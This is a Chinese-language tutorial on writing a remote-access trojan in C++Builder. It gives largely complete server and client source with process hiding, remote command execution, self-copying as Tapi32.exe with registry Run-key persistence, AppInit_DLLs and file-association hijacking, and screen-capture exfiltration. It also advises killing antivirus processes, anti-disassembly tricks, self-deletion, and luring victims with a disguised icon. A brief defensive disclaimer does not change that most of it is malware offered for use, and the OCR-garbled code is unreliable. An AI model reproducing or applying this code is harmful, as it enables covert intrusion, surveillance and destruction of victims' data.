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木马编写培训教程特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布BackOrifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用B0操纵了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要明白,木马(Trojan)的历史是很悠久的早在ATTUnix与BSDUnix十分盛行的年代,木马是由一些玩程式(要紧是C)水平很高的年轻人(要紧是老美)用C或者Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限那时木马的要紧方法是诱骗一一先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络能够说很陌生直到Win9x横空出世,特别是WinNt的普及,大大推动了网络事业的进展的时候,BO这个用三年后的眼光看起来有点简单甚至能够说是简陋的木马(甚至在Win9x的“关闭程序”对话框能够看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面能够说是一个划时代的软件自己编写木马,听起来很Cool是不是?!木马一定是由两部分构成一一服务器程序(Server)与客户端程序(Client)服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(通常是TCP/IP协议)为了让大家更好的熟悉木马攻击技术,破除木马的神秘感我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范与查杀各类已知与未知的木马首先是编程工具的选择目前流行的开发工具有C++Builder、VC、VB与Delphi这里我们选用C++Builder(下歹IJ简称BCB);VC尽管好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承己有的资源(如“死牛崇拜”黑客小组公布的B02000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈一一难道你还给受害者传一个1兆多的动态链接库一一Msvbvm
60.dll吗?启动C++Builder
5.0企业版,新建一个工程,添加三个VCL控件一个是Internet页中的ServerSocket另两个是Fastnet页中的NMFTP与NMSMTPoServerSocket的功能是用来使本程序变成一个服务器程序,能够对外服务(对攻击者敞开大门)Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包含Win98与WinNt);后两个控件的作用是用来使程序具有FTP(FileTransferProtocol文件传输协议)与SMTP(SimpleMailTransferProtocol简单邮件传输协议)功能,大家一看都明白是使软件具有上传下载功能与发邮件功能的控件Form窗体是可视的,这当然是不可思议的不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用因此实际写木马时能够用一些技巧使程序不包含Form就像Delphi用过程实现的小程序通常只有17K左右那样我们首先应该让我们的程序能够隐身双击Form首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码这看起来很神秘,事实上说穿了只是是一种被称之为Service的后台进程,它能够运行在较高的优先级下,能够说是非常靠近系统核心的设备驱动程序中的那一种因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就能够了只是该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL
32.DLL中的鸟函数了elseiftemp二二swapSwapMouseButton1;〃交换鼠标左右键,简单吧?然后就是使目标机重新启动但这里要区分WinNt与Win9x一一NT非常注重系统每个进程的权利一个普通的进程是不应具备有调用系统的权利的,因此我们要给予本程序足够的权限elseiftemp二=reboot〃假如收到的temp的内容是“temp”DWORDdwVersion=GetVersion;〃得到操作系统的版本号ifdwVersion0x80000000〃操作系统是WinNt不是Win9xHANDLEhToken;TOKEN.PRIVILEGEStkp;〃定义变量OpenProcessTokenGetCurrentProcessTOKEN_ADJUST_PRIVILEGES|TOKEN.QUERYhToken;//OpenProcessToken这个函数的作用是打开一个进程的访问令牌//GetCurrentProcess函数的作用是得到本进程的句柄LookupPrivilegeValueNULLSE_SHUTDOWN_NAMEtkp.PrivilegeslO].Luid;//LookupPrivilegeValue的作用是修改进程的权限tkp.PrivilegeCount=1;〃赋给本进程特权tkp.Privileges
[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivilegeshTokenFALSEtkp0PTOKEN_PRIVILEGESNULL0;//AdjustTokenPrivileges的作用是通知WindowsNT修改本进程的权利ExitWindowsExEWX_REBOOT|EWX_FORCE0;〃强行退出WinNt并重启elseExitWindowsExEWX_FORCE+EWX_REBOOT0;〃强行退出Win9x并重启假如以上都不是,就让它在Dos窗口中执行传来的命令else〃假如都不是char*CR_TF=n\\nH;times_oL.try=0;whilefp=二NULLfp=fopenTempFile”w+;//创建Win
369.bat假如已存在就覆盖times_oLtry=times_ofLtry+1;〃计数器加1iftimes_ofLtry100Socket-SendTextFailByOpenFile1;〃返回“FailByOpenFile”的信息gotoEND;〃跳到ENDfwritetemp.c_strsizeofcharstrlentemp.c_strfp;〃写入欲执行的命令fwriteCR_TFsizeofcharstrlenCR_TFfp;〃写入换行符fclosefp;〃关闭Win
369.batsystemTempFile;〃执行Win
369.batSocket-SendTextSuccess;〃返回“Success”信息你能够直接执行什么Ping与Tracert之类的命令来进一步刺探目标机的网络状况推断是否是一个企业的局域网,然后能够进一步攻击,比如Deltree与Format命令至U此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃朋友,别走开!未完待续啊,超长的OnClientRead事件终于写完了最后别忘了要在此服务器源码文件中添加下列头文件#includestdlib.h#includedirent.h#includefcntl.h#includedos.h#include〈sysWstat.h〉#include〈winbase.h#include(stdio.h)#include〈process.h〉#include〈io.h〉#include〈mmsystem.h〉至此,服务器端(Server)程序已全部完工!(终于能够好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半(“扑通”,有人晕倒了!)下面我们就将乘胜追击一一搞定客户端程序(Client)!客户端程序事实上是很简单的另新建一个Form添加一个ClientSocket(与ServerSocket在相同的页下),再添加四个Editbox命名为EditlEdit2Edit3与Edit%最后添加一个ButtonCaption为“发送Editl是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或者显示命令执行的结果的(头是不是有点大了?!)双击Button1在Button1Click事件中添加如下代码ifEdit2-Text=二“||Edit3・〉Text==nreturn;〃假如输入IP地址框或者输入端口号框有一个为空,就什么也不作ClientSocket1-Address=Edit2-Text;〃目标IP地址ClientSocket1-Port=atoiEdit2-Text.c_str;〃目标端口号,本例中的44444ClientSocket1-Open;〃连接!选中CilentSocketl控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:ifEditl-〉Text==editconf1H||Editl-Text==neditconf2n〃假如是要编辑autoexec.bat或者config.sysSocket-SendTextEditl-Text+Edit4-Text;〃发送命令与欲添加的语句elseSocket-SendTextEditl-Text;〃否则只发送命令双击OnRead事件,在ClientSocketlRead下添加如下代码AnsiStringReadin=Socket-ReceiveText;〃读入收到的返回信息Edit4-Text丁;〃清空编辑框FILE*fp;fp=fopenReadIn.tmp\wn;〃建立一个临时文件Readln.tmpfwriteReadln.c_str110000fp;//写入信息fclosefp;〃关闭之Edit4-〉Lines-LoadFromFileReadln.tmp;〃在编辑框中显示返回的信息为了敲完命令后直接回车就能够发送,我们能够使Buttonl的代码共享双击Editl的OnKeyPress命令,输入if(Key==VK_RETURN)ButtonlClick(Sender);〃假如敲的是回车键,就与点击Buttonl一样的效果)最后再添加下列头文件#includestdlib.h#includewinbase.h#includefcntLh#includenstdio.h终于写完了!!!(假如你对简陋的界面不满意,能够自己用BCB中丰富的控件好好完善完善嘛!)按下CW+F9进行编译链接吧!关于Server你能够选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?)就启动Client程序,敲入editconf1”就编辑Autoexec.bat文件,敲入“editconf2”就编辑Config.sys文件,敲入“dirxxx(xxx是目录名)就能够看到目录与文件,敲“typexxx”就能够察看任何文件,输入“open”弹出目标机的光驱托盘,close”就收入托盘,输入“swap”就能够交换受害者的鼠标左右键输入“reboot”就启动目标机……不用我多说了吧?以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底与丰富的经验如下的问题就值得认真考虑首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K用Aspackl.07压了一下也还有200多K能够看出不必要的Form是应该去掉的;同时尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++与汇编混编),不但速度会加快,而且大小能够小很多,毕竟木马是越小越好还有启动方式的选择出了Win.ini、System.ini之外,也还是那几个注册表键值,如HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CuiTentVersion\\Run都已被其他的木马用烂了现在又开始对exe、dll与txt文件的关联程序动手脚了(如冰河与广外女生)这里涉及到参数传递的问题得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感受不到有任何特殊具体键值如与exe文件建立关联HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command与txt文件建立关联HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\coiTimand与dll文件建立关联HKEY.CLASSES.ROOTWdllfileWshellWopenWcommand等,当然还能够自己扩充目前还有一种新方法在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WindowsNTWCurrentVersionWindows下添加如下键值AppInit_DLLs=Server.dir这就把Server.dll注册为系统启动时务必加载的模块(你应该把木马编译成DLL)下次开机时,木马以动态链接库形式被加载,存在于系统进程中由于没有它自己的PID(ProcessID进程识别号),因此在NT的任务管理器中也看不见(只是在“系统信息」——“软件环境”一一“己加载的32位模块”中还是能够全面看到当前内存中加载的每一个模块的),这样做的目的是能够使自己的程序更加隐蔽,提高木马的生存能力木马的功能还能够大大扩充你能够充分发挥你的想象力一一比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32dl进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入熟悉钩子(Hook)技术,如键盘钩子与鼠标钩子),窃取重要的密码文件如pwl与sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH)胡乱设置CMOS加密MBR、HDPT与FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只只是后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)唉!路漫漫其修远兮,吾将上下而求索……假如你想更安全地执行你的入侵活动,就应该像广外女生一样能够杀掉防火墙与杀毒软件的进程防火墙与杀毒软件监视的是特征码,假如你是新木马,它就不吱一声;但是假如你打开不寻常的端口,它就会跳出来报警因此最好的办法是启动后立即分析当前进程,查找是否具有常见防火墙与杀毒软件的进程假如有就杀无赦比如常见的如Lockdown天网防火墙,网络卫兵,kv3000瑞星,金山毒霸,Pc-CillinPandaMcafeeNorton与Checkpoint杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不可能再次启动自己了针对来自反汇编工具的威胁假如有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品首先想到的是条件跳转,条件跳转关于反向工程来说并不有趣没有循环,只是跳转,作为使偷窃者令人头痛的路障这样,就没有简单的反向操作能够执行了陷阱,另一个我不太确信,但听说有程序使用的方法用CRC校验你的EXE文件,假如它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击最后假如你需要它完成任务后能够自己删除自己,我提示你退出前建立一个批处理文件,加入循环删除本exe文件与本批处理文件自己的命令后储存,执行它,再放心地退出你能够试一下,所有文件都消失了吧?!这叫“踏雪无痕”入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不可能报警,而且你自己心里也坦然一些一一毕竟是自己的作品吗!假如你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024下列的端口,而且包含1024以上的高端端口也要认真扫描,65535个端口一个也不能漏由于许多木马打开的就是高端端口如本例中的4444写在最后上面例子的用意并不是教你去如何攻击他人,目的只是让你熟悉木马的工作原理与简单的编写步骤,以便更好地防范与杀除木马,保护我们自己应有的网络安全因此,请列位看官好自为之,不要乱下杀手啊!当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备通常进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核也许你会觉得惊奇,刚刚不是说一个应用程序运行之后一定会产生一个进程吗?的确,因此我们能够不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间而这个应用程序关于系统来说,是一个绝对安全的程序,这样,就达到了完全隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,关于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》WINAPIWinMainHINSTANCEHINSTANCELPSTRinttryDWORDdwVersion=GetVersion;〃取得Windows的版本号ifdwVersion=0x80000000//Windows9x隐藏任务列表intCALLBACK*rspDWORDDWORD;HINSTANCEdll=LoadLibraryHKERNEL
32.DLLn;〃装入KERNEL
32.DLLrsp=intCALLBACK*DWORDDWORDGetProcAddressdllnRegisterServiceProcessn;〃找至URegisterServiceProcess的入口rspNULLl;〃注册服务FreeLibrarydll;〃释放DLL模块catchExceptionexception〃处理特殊事件〃处理特殊事件}return0;
3、程序的自加载运行技术让程序自运行的方法比较多,除了最常见的方法加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run的方法外,还有很多其他的办法,据yagami讲,还有儿十种方法之多,比如能够修改Boot.ini或者者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,确实能够说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run键值来实现自启动的程序自装载部分HKEYhkey;AnsiStringNewProgramName=AnsiStringsys+AnsiStringn+PName/\\\\H+PNameunsignedlongk;k=REG_OPENED_EXISTING_KEY;RegCreateKeyExHKEY_LOCAL_MACHINEnSOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN\\\\OLNULLREGOPTIONNONVOLATILEKEYALLACCESS|KEYSETVALUENULLhkeyk;RegSetValueExhkeyBackGroup10REG_SZNewProgramName.c_strNewProgramName.Length;RegCloseKeyhkey;ifintShellExecuteHandleopenNewProgramName.c_strNULLNULLSW_HIDE32WantClose=true;Close;elseHKEYhkey;unsignedlongk;k=REG_OPENED_EXISTING_KEY;longa=RegCreateKeyExHKEY_LOCAL_MACHINEnSOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUNH0NULLREG_OPTION_NON_VOLATILEKEY_SET_VALUENULLhkeyk;RegSetValueExhkeyBackGroup0REG_SZProgramName.c_strProgramName.LengthO;intnum=0;charstr[201;DWORDlth=20;DWORDtype;charstrv
[255];DWORDvl=254;DWORDSue;do{Suc=RegEnumValueHKEY_LOCAL_MACHINEDWORDnumstrNULLtypestrvvl;ifstrcmpstrnBGroupu==0DeleteFileAnsiStringstrv;RegDeleteValueHKEY_LOCAL_MACHINEBGroupH;break;}whileSuc==ERROR_SUCCESS;RegCloseKeyhkey;自装载程序的卸载代码intnum;charstr2
[20];DWORDlth=20;DWORDtype;charstrv
[255];DWORDvl=254;DWORDSue;do{Suc=RegEnumValueHKEY_LOCAL_MACHINEDWORDnumstrNULLtypestrvvl;ifstrcmpstrBGroup==0DeleteFileAnsiStringstrv;RegDeleteValueHKEY_LOCAL_MACHINE;BGroupH;break;}}whileSuc==ERROR_SUCCESSHKEYhkey;unsignedlongk;k=REG_OPENED_EXISTING_KEY;RegCreateKeyExHKEY_LOCAL_MACHINEnSOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUNH0NULLREG_OPTION_NON_VOLATILEKEY_SET_VALUENULLhkeyk;do{Suc=RegEnumValuehkeyDWORDnumstrifstrcmpstrBackGroup==0DeleteFileAnsiStringstrv;RegDeleteValueCHKEY.LOCAL.MACHINE/BackGroup;break;}whileSuc==ERROR_SUCCESSRegCloseKeyhkey;其中自装载部分使用C++Builder能够这样写,会比较简化TRegistryregKey=*newTRegistryO;regKey.RootKey=HKEY_LOCAL_MACHINE;regKey.OpenKeynSoftware\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Runtrue;if!regKey.ValueExistsInterbaseServerregKey.WriteStringCInterbaseServernD:\\\\ProgramFiles\\\\Borland\\\\IntrBase\\\\BIN\\\\ibserver.exen;regKey.CloseKeyO;deletereg;Key;
4、木马程序的建立连接的隐藏木马程序的数据传递方法有很多种,其中最常见的要属TCPUDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send与recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就能够查看到当前的活动TCPUDP连接C:\\DocumentsandSettings\\bigballnetstat-n////聊天数据包定义Chat_Msg_Type.h//〃定义如下消息类型defineMsgChatCommon0〃连接事件defineMsgChatConnect1〃接入事件defineMsgChatEscept2〃结束事件defineMsgChatReceived16〃确认对话内容收到〃消息结构typedefstruct{charClientName
[20];//Client自定义的名称charMsg
[256];〃发送的消息JMsgChatUint;defineMsgChatLensizeofMsgChatUint〃消息单元长度//〃重启数据包定义Reboot_Msg_Type.h//〃定义如下消息类型#defineMsgReBoot15〃重启事件//〃目录结构请求数据包定义Dir_Msg_Type.h//〃定义如下消息类型#defineMsgGetDirlnfo17#defineMsgReceiveGetDirlnfo18首先推断目标机的操作系统是Win9x还是WinNt DWORDdwVersion=GetVersion;//得到操作系统的版本号ifdwVersion=0x80000000〃操作系统是Win9x不是WinNttypedefDWORDCALLBACK*LPREGISTERSERVICEPROCESSDWORDDWORD;〃定义RegisterServiceProcess函数的原型HINSTANCEhDLL;LPREGISTERSERVICEPROCESSIpRegisterServiceProcess;hDLL=LoadLibraryKERNEL32;〃加载RegisterServiceProcess函数所在的动态链接库KERNEL
32.DLLIpRegisterServiceProcess=LPREGISTERSERVICEPROCESSGetProcAddresshDLL「RegisterServiceProcess;〃得至llRegisterServiceProcess函数的地址IpRegisterServiceProcessGetCurrentProcessId1;〃执行RegisterServiceProcess函数,隐藏本进程FreeLibraryhDLL;〃卸载动态链接库这样就终于能够隐身了害我敲了这么多代码!为什么要推断操作系统呢?由于WinNt中的进程管理器能够对当前进程一览无余,因此没必要在WinNt下也使用以上代码只是你能够使用其他的方法,这个留到后面再讲接着再将自己拷贝一份到%System%目录下,比如C:\\Windows\\System并修改注册表,以便启动时自动加载charTempPath[MAX_PATHJ;〃定义一个变量GetSystemDirectoryTempPathMAX_PATH;//TempPath是system目录缓冲区的地址MAX_PATH是缓冲区的大小,得至U目标机的System目录路径SystemPath=AnsiStringTempPath;〃格式化TempPath字符串,使之成为能供编译器使用的样式CopyFileParamStr
0.c_strAnsiStringSystemPath+H\\\\Tapi
32.exen.c_strFALSE;〃将自己拷贝到%5丫§1©111%目录下,并改名为Tapi
32.exe伪装起来Registry=newTRegistry;〃定义一个TRegistry对象,准备修改注册表,这一步必不可少Registry-RootKey=HKEY_LOCAL_MACHINE;〃设置主键为HKEY_LOCAL_MACHINEtypedefstruct{charDir
[4096];〃你要的目录名}MsgDirUint;#defineMsgDirUintLensizeofMsgDirUint//TCP的Msgtypedefstruct{〃定义消息结构charSType;〃消息种类charSPassword
[20];〃密码//intSNum;〃消息操作号char*AllMsg;}SMsg;#defineSMsgLensizeofSMsg#defineMSGListProgram19#defineMSGFlyMouse21#defineMSGGoWithMouse22#defineMSGSaveKey23#defineMSGTracekey24#defineMsgCopyScreen25//tcp接收消息udp请求消息defineMSGCopyWindow26//〃鼠标指针隐藏与显示操纵//defineMsgSetMouseStat27〃设置消息defineMsgMouseStat28〃成功消息typedefstruct{boolmouseshow;}MsgSetMouseStatUint;#defineMsgSetMouseStatUintLensizeofMsgSetMouseStatUint//〃任务栏隐藏与显示操纵//defineMsgSetTaskBarStat29〃设置消息defineMsgTaskBarStat30〃成功消息typedefstruct{booltaskshow;MsgSetTaskBarStatUint;#defineMsgSetTaskBarStatUintLensizeofMsgSetTaskBarStatUint//〃得到机器名//defineMsgGetNetBiosName31〃取请求defineMsgNetBiosName32〃回送机器名typedefstruct{charNetBiosName
[128];}MsgNetBiosNameUint;#defineMsgNetBiosNameUintLensizeofMsgNetBiosNameUint//〃关闭进程变更!//defineMsgSetProgramClose33〃关闭请求defineMsgProgramClosed34〃成功消息typedefstruct{charProgramName
[4096];//oldstruct:charProgramName
[128];〃要关闭的窗口的名字JMsgSetProgramCloseUint;#defineMsgSetProgramCloseUintLensizeofMsgSetProgramCloseUint//〃打开进程变更!//defineMsgSetProgramOpen20〃打开请求defineMsgProgramOpened36〃成功消息typedefstruct{charProgramName
[4096];//oldstruct:charProgramName
[128];〃要打开的程序的名字boolProgramShow;〃前台运行或者后台运行程序隐藏运行}MsgSetProgramOpenUint;#defineMsgSetProgramOpenUintLensizeofMsgSetProgramOpenUint#defineMsgGetHardWare35〃请求硬件信息UDP消息与回传硬件信息TCP消息上面一段定义,使用了TCP与UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求SNum为消息操作号,它的作用是为了效验数据是否是发送过的,通过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的数据协议组织好,还有一步工作,就是数据的打包发送,通常的方法是把全部数据压为一个VOID类型的数据流,然后发送Msg*msg=newMsg;TMemoryStream*RData=newTMemoryStream;NMUDP1-ReadStreamRData;RData-ReadmsgsizeofMsg;UdpConnect*udpconnect二newUdpConnect;NetBiosName*netbiosname=newNetBiosName;ifmsg-CNum==CNumBakreturn;else{CNumBak=msg-CNum;BRTCHMSG-TYPEcase0://MsgUdpConnectRData-ReadudpconnectsizeofUdpConnect;checkuserudpconnect-IsRight;break;case1:RData-ReadnetbiosnamesizeofNetBiosName;AnsiStringjqm=机器名jqm+=AnsiStringnetbiosname-NetBiosName;Memo2-Lines-Addjqm;break;当服务器端收到数据后首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:NMUDP1-RemoteHost=FromIP;NMUDP1-RemotePort=Port;TMemoryStream*RData=newTMemoryStream;NMUDPl-ReadStreamRData;Msg*msg二newMsg;RData-ReadmsgsizeofMsg;ifmsg-CNum==CNumBakreturn;elseCNumBak=msg-CNum;BRTCHMSG-TYPEcase0:checkusermsg-Password;break;case1:GetNetBiosName;break;case2:CheckHard;break;此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大因此,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例#defineMAXXCount10〃屏幕X方向最多分割块数#defineMAXYCount5〃…Y#defineDestNum1000//每块的偏移检测点最大个数COLORREFColors|MAXXCount][MAXYCount][DestNum|;COLORREFBakColors[MAXXCount]{MAXYCount][DestNuml;TPointDests[DestNum];intSw;intSh;intxCount;intyCount;intItemWidth;intItemHeight;intDnum;intQlity;〃得到消息后执行〃另外接收到的数据包中分析出DnumQlity〃Dnum偏移观测点数量//Qlity图象要求质量—fastcallTForm1::CopyScreenintDNumintQlity{ItemWidth=Sw/xCount;ItemHeight=Sh/yCount;Sw=Screen-Width;Sh=Screen-Height;xCount=Sw10008:6;yCount=Sh10003:2;forintnuml=0;numlDests[numl].x=randomItemWidth;Dests[num1].y=randomItemHeight;CatchScreenDNumQlity;〃收到刷屏消息后只执行CatchScreenDNumQlity;—fastcallTForm1::CatchScreenintDNumintQlity{〃函数功能扫描改变的屏幕区域,并切通过优化处理,最后发送这些区域数据〃DNum:偏移量Qlity:图象质量HDCdc=GetDCGetDesktopWindow;Graphics::TBitmap*bm二newGraphics::TBitmap;bm-Width=Sw;bm-Height=Sh;BitBltbm-Canvas-HandleOOSw-1Sh-1de00;intnumInum2num3;intnowxnowy;boolChange;boolItemChange[MAXXCount][MAXYCount];fornum1=0;num1nowx=ItemWidth*num1;fornum2=0;num2nowy=ItemHeight*num2;Change=false;fornum3=0;num3Colorsfnuml][num2]rnum3]=bm-Canvas-Pixels[nowx4-Dests[num3].x]fnowy+Dests[num3].y];ifColors[numI][num2][num3]!=BakColors[num1][num2][num3]{BakColors[numl][num2][num3]=Colors[numl][num2][num3];ItemChange[numl][num2]=true;intCNumMaxCNum;intChangedNum=0;TRect*Rect;intnum4;intMinSize=10000;intm;TRectMinRect;Graphics::TBitmap*bt2=newGraphics::TBitmap;TJPEGImage*j=newTJPEGImage;ffKL**1^KL**1^kL**1*KI*KI****I/rtwj-Quality=Qlity;//*!**1**1*
7.*!**!**1*I/*1*q、q、*7*q、q、**CopyScreenUintCopyScreen;CopyScreenltemUintCopyScreenltem;TMemoryStream*ms=newTMemoryStream;ms-WriteTcpMsgsizeofTcpMsgUint;ms-WriteCopyScreensizeofCopyScreenUint;do{fornum1=0;num1fornum2=0;num2fornum3=num1+1;num3=xCount;num3++{MaxCNum=0;fornum4=num2+l;num4=yCount;num4++{//遍历所有矩形CNum=GetChangedNumTRectnum1num2num3num4;ifCNumMaxCNumMaxCNum=CNum;m=num3-nuiTi1*num4-num2;if2*m-CNumMinSize=2*m-CNum;MinRect=TRectnum1num2num3num4;TMemoryStream*ms;BitBltbt2-Canvas-Handle00ItemWidth-1JtemHeight-1bt-Canvas-Handle00;j-Assignbt2;j-SaveToStreamms2;CopyScreenltem.Rect=TRectnum1num2num3num4;CopyScreenItem.FileType=JPEGFILE;//JPEGFILE定义为#defineJPEGFILE1ms2-Position=0;CopyScreenItem.Length=ms2-Size;ms-WriteCopyScreenItemsizeofScreenItemUint;ms-CopyFromms2ms2-Size;ChangedNum++;}whileMaxCNum0;TcpMsg.Type=MsgCopyScreen;ms-Position=0;TcpMsg.Length=ms-Size-sizeofTcpMsgUint;CopyScreen.Count=ChangedNum;ms-WriteTcpMsgsizeofTcpMsgUint;ms-WriteCopyScreensizeofCopyScreenUInt;ms-Position=0;sock-SendStreamms;这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0在这里不做过多分析了,有兴趣的朋友,能够多看看透视木马程序开发技术下上两期我们推出《透视木马程序开发技术上》与《透视木马程序开发技术中》这期我们推出这个系列的最后一部份,希望能对你熟悉木马技术以便安全的管理你的计算机提供一定的帮助
6、目标机器情况的获取相关于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,通常获取机器情况的方法是调用有关的API这一点上是与应用程序很相像的AnsiStringcs;FILE*fp;fp=fopentemp.hadw+;//TODO:Addyoursourcecodehere//获得CPU型号SYSTEMJNFOsysteminfo;GetSystemlnfosysteminfo;cs=CPU类型是:“+Stringsysteminfo.dwProcessorType+”\\n”;fwritecs.c_strcs.Length1fp;MEMORYSTATUSmemory;memory.dwLength=sizeofmemory;〃初始化GlobalMemoryStatusmemory;cs二物理内存是Mb:“+Stringintmemory.dwTotalPhys/1024/1024+Wn;fwritecs.c_strcs.Length1fp;cs=可用内存是Kb:“+Stringintmemory.dwAvailPhys/1024+n\\n;fwritecs.c_strcs.Length1fp;DWORDsectorbyteclusterfree;longintfreespacetotalspace;UINTtype;charname;〃0—未知盘、1一不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、〃5—CD—ROM、6—内存虚拟盘charvolname
[255]filename
[100];//buffer
[512];DWORDsnomaxifileflag;forname=A;name=Z;name++{〃循环检测A~Ztype=GetDriveTypeAnsiStringAnsiStringname+.c_str;//获得磁盘类型iftype==O{cs=未知类型磁盘:+Stringname+”\\n”;fwritecs.c_strcs.Length1fp;Jelseiftype==2{cs二可移动类型磁盘:+Stringname+\\n;fwritecs.c_strcs.Length1fp;elseiftype==3{cs=固定磁盘:+Stringname+”\\n”;fwritecs.c_strcs.Length1fp;elseiftype==4{cs=网络映射磁盘:+Stringname+”\\n”;fwritecs.c_strcs.Length1fp;elseiftype==5{cs二光驱:“+Stringname+”\\n”;fwritecs.c_strcs.Length1fp;elseiftype==6{cs=内存虚拟磁盘:+Stringname+”\\n”;fwritecs.c_strcs.LengthIfp;ifGetVolumeInfbrmationStringname+String:.c_strvolname255snomaxlfileflagfilename100cs=Stringname+盘卷标为:“+Stringvolname+”\\n”;fwritecs.c_strcs.Length1fp;cs二Stringname+盘序号为:“+Stringsno+”\\n”;fwritecs.c_strcs.LengthIfp;GetDiskFreeSpaceStringname+String:.c_str§orbytefreecluster;〃获得返回参数totalspace=intcluster*byte*sector/l024/1024;//计算总容量freespace=intfree*byte*sector/1024/1024;〃计算可用空间cs=Stringname+String盘总空间Mb:“+AnsiStringtotalspace+”\\n”;fwritecs.c_strcs.Length1fp;cs=Stringname+String盘可用空间Mb:+AnsiStringfreespace+“\\n”;fwritecs.c_strcs.Length1fp;intwavedevicemididevice;WAVEOUTCAPSwavecap;MIDIOUTCAPSmidicap;wavedevice=intwaveOutGetNumDevs;〃波形设备信息mididevice=intmidiOutGetNumDevs;//MIDI设备信息ifwavedevice!=0{waveOutGe